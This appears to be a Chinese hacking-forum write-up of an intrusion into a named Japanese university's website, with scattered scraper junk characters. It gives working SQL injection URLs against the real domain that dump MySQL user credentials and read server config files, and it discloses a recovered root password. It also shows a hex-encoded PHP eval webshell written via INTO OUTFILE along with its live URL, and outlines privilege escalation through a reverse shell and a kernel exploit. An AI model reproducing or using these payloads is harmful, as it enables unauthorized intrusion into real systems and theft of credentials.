入侵日本同志社大学技术分析4 b6 r- b. e9 {- N1 G/ V
$ @2 o" r/ y2 U, ?( a, i* }http://www.doshisha.ac.jp/chs/news/index.php?i=-1
$ Q3 t6 A, f& j, ]然后联合查询,猜字段,查版本,查密码,读取文件…….就是各种查啊,语句是:
6 V" G [4 ~. S1 B1 X) d
, c4 l7 y& N( i; o! N K3 N3 W) I! ?http://www.doshisha.ac.jp/chs/news/index.php?i=-1+union+select+1,@@datadir,3,load_file(‘/etc/httpd/conf/httpd.conf’),5,group_concat(DISTINCT+user,0x3a,password,0x3a,file_priv,0x3a,host),7,8+from+mysql.user
: A6 T) p' A& b& P9 T
; L2 u7 \) L3 L9 T: [
: Y. l( T4 F5 ?- o9 Q/ {" k, I K. W" K% D& _0 _
//@@datadir为数据库文件路径 ; e4 M$ [! x3 R& ^- b
5 j4 ~/ D% R" O- `/ I+ B
: A: b1 S9 Y) a" _$ Z* Y T//load_file读取网站容器apache的配置文件 ) M9 N8 g/ Z, {; u( C( h
* H9 V6 x5 l$ Y7 }( ?+ O2 s
5 e- c9 q9 |. T( [ u//group_concat读取MySQL管理员的名字、密码、是否允许读写文件和允许登录的远程计算机
, {/ g" I3 ^4 d! r0 Z5 I复制代码
) x+ E/ g9 M3 k, B1 ]8 t, t& }" G$ m9 R
虽然解得MySQL的root账户密码为mysql00,但是host为localhost,只允许本机登陆,所以用处不大。& b) E) b: P9 z- y' ~2 I
6 C$ N8 o% Q. l* O! z# w. @
而且Apache的配置文件显示,服务器拒绝非该大学的ip访问/admin/和phpMyAdmin,所以即使爆出管理员账户密码也没用。9 K7 m# U9 r, `9 v# m& N; p$ O* Q
(大家对以上各种查和语句不太懂的可以参考以下文章:http://bbs.blackbap.org/thread-2243-1-1.html); x4 E$ v1 w" C7 P |$ }
. q& m& {. C7 L) h
前面load_file是因为发现了各文件夹权限限制的死,不允许外校ip登陆,所以就猜了一下apache的配置文件绝对路径为默认,后来发现还真的是默认的路径。
% z2 `' @' P$ I7 p1 ~& L. p如果知道怎么猜apache配置文件的路径的请参考以下文章:http://bbs.blackbap.org/thread-2242-1-1.html" i- N0 `) k" B O( h) E
; J: q: B* @( o* K+ ^既然已经知道了Apache的配置文件的内容,我们也就轻易知道了网站物理路径,路径为:/http/www/koho/# B1 o2 o6 a8 @6 P- F2 l0 \: P
虽然/admin和phpMyAdmin的目录都限制了,但是想了想,我们只要有注入点就可以可以写入shell了,因为php的GPC为off,怎么判断为off我就不说了。
6 G& M Y7 M7 ` S$ S直接写一句话:
( p! Q2 ~1 z3 X. h; G6 }
# W2 G1 t: @8 @1 H6 \3 chttp://www.doshisha.ac.jp/chs/news/index.php?i=-1+union+select+ 0x3C3F70687020406576616C28245F504F53545B27636D64275D293B3F3E,0x3c3f2f2a,3,4,5,6,7,0x2a2f3f3e+into+outfile+’/http/www/koho/english/engnews_img/aa.php’#. J% z& J6 ~) H3 H/ f
3 |; ]% O2 D' [8 g I
. @1 d: I$ ?; m& a0 F% u3 I& C2 N/ W1 y4 N7 C( d% }& Q
//最后的#是为了闭合前面的语句
9 d! t6 x" ^$ n: L3 M$ S' I$ _
- u8 h, x, Z- l
$ A' }2 _1 Z y+ L7 O/*其中的0x3C3F70687020406576616C28245F504F53545B27636D64275D293B3F3E 3 Q, r* f3 p$ R% p+ k# b a
5 m9 x" X8 M$ Y; y( V+ X
9 W: k6 Z& F: b: y C
为一句话<?php @eval($_POST['cmd']);?>的HEX编码,不懂(HEX编码)的话Google一下就好*/
/ y$ H+ z8 E2 U! u: q ) t6 N7 w( K" L
- }$ [: b% W% p: Z
//如果直接select 一句话 into outfile ‘路径’会提示字段数不同,所以select 1,2,3,4…来执行注入语句
2 S7 S* R' R' Z + G$ F+ ]( h& X9 P4 x7 D2 N
1 P: h7 Z0 l Z/ a//后面的0x3c3f2f2a和0x2a2f3f3e分别为’<?php //’的和’?>’HEX因为select后面的3,4,5,6会被写入webshell中,可能会导致一句话执行错误 # Z9 q- T: m. L! a
//所以最后aa.php的内容就是”<?php @eval($_POST['cmd']);?><?php //3,4,5,6,7 ?>”
, e1 C4 }4 ]% c4 Z复制代码
8 K1 E* w7 t2 R3 c/ d: u, @- }5 C" J* |" }$ Y; o
HEX其实就是十六进制编码,不知道这个编码的话,去搜一下好了,HEX编码转换在线本地各种工具各种有0 n( p. G& U' ^+ j
通过上述注入语句,我们就得到了一句话木马:* J0 J1 H' U- v! l" E/ y
9 E4 {5 X1 q; ]1 }
! H$ i2 ^) {6 K9 B2 A- j0 z
5 S1 a' K- A# d5 D5 z; W ) Z: F" z) k+ c- F
* S Q+ K2 I; n! j+ [3 [http://www.doshisha.ac.jp/english/engnews_img/aa.php
$ [. n; f3 _; D, f; M# [复制代码
1 f' i9 d7 S3 C: |
# W9 b$ Y% T4 ~5 S5 C& `" r用菜刀连接,密码是cmd,如图所示:) V1 ^* G( i3 r# g" I8 _3 I" k
然后在命令提示行里看了一下,现在的权限是:2 X3 }5 t6 z% v, L4 T
' K( W* O: I+ D+ F0 A; K之后按照惯例我看了一下/tmp/文件夹,发现/TMP/权限居然被禁掉了,很少有服务器禁掉这个文件夹的。8 v- x$ C; Q8 O: I5 V. d
好在赋权给这个文件夹不需要root,直接执行赋权语句:1 p4 W' i# Y2 u; ~: ?& X
* @" p6 S K U( d
7 d; f' ]9 I0 L! F# e( \; ~6 G% W# v8 X$ A
" z7 t3 e+ V0 _; b$ W( U
5 r" Y) f4 v' Y, W% _7 [
chmod +x /tmp/
) p/ {4 M5 j- w" c; p复制代码) I0 Y3 t3 G' k- ^. S* N/ ^
2 r: X9 [" I5 U$ v' s J, g6 `
在这说一下,linux里面的文件夹跟文件一样,执行命令自然也可以按照像文件一样的执行 C% h6 t* I2 U1 ^# V' e( @/ g: H
然后就查了一下内核版本:0 x& h- L6 O$ J
7 c& Z# f( z6 a% t- |% W$ F+ X
# ~( b/ r9 z: u3 ~9 ?8 r
) Q6 k) j- Z/ w! w8 z . ?% y9 ~. r# P1 j0 K3 h# t
. M7 f) C( r P8 i$ }" o5 [0 H! g7 Uuname-a ) `" H! O3 v, X) A- C
: @5 U" c" H) G% m7 e+ k6 X7 ~
: f7 F' C: a; n" c. E! p
//其实lsb_release -a & B! X) M8 q" d. h4 H6 s( }2 k
复制代码
8 O* h( V. L# c" }3 }8 S& _2 F* n, C( X7 w9 ^7 Z
如图所示:
6 ^6 a4 z- ^) h8 p. m, r# b" l
3 ^0 ?1 [! V' X8 M内核版本:linux mainz1 2.6.28-194.e15, r3 \2 m% e5 m6 C, R
系统描述为:Red Hat Enterprise Linux Server release 5.5 (Tikanga)
; S- m6 {' N+ q& W' L8 t% [查完了系统版本之后就去找找相应的提权脚本!~然后传到/tmp/文件夹
" [4 g- h: f5 E1 L! T7 c% _
, o Z- Z# G. }) }& O然后给予执行权限
1 ]; w* I# k+ [9 ^9 w6 a一般我都是传上去c源文件,然后”gcc -o /tmp/程序 /tmp/C源码”这样,如果gcc不能用,在其他机器编译好了直接传上去其实也可以,就像这样- K/ B* _8 y) D7 H
5 F0 D; v0 A% W) z3 B3 G5 G
- [5 c$ A! ], [9 I$ j; @! C, }
% S4 V; A$ l4 e# g8 v" j+ l4 S
5 g% e a+ r& Q+ l* _( H
( F2 {4 w$ G. ?( A# wchmod +x /tmp/2.6.18-194 + _ ]0 `9 v# O- Z) g! D8 b, L
复制代码 然后直接执行!~8 q/ d/ \ _) c9 N! r7 a
2 q% C. C+ b$ q5 E9 d( M9 e( I( j- w总结:
2 J! n+ C4 X F9 [& h这个注入点的基本思路就是,发现MySQL账户为root,GPC设置为off,搞到了物理路径就直接写Webshell了* c9 Q9 w. _4 y8 U" B! N6 k
提权部分原理就是,本地监听端口,将对方机器反弹回cmdshell来,然后把和内核版本对应的EXP传上去,编译运行,得到root7 {. |7 }, n- \( ^
! O& F% P% r1 b2 t! {' B( c |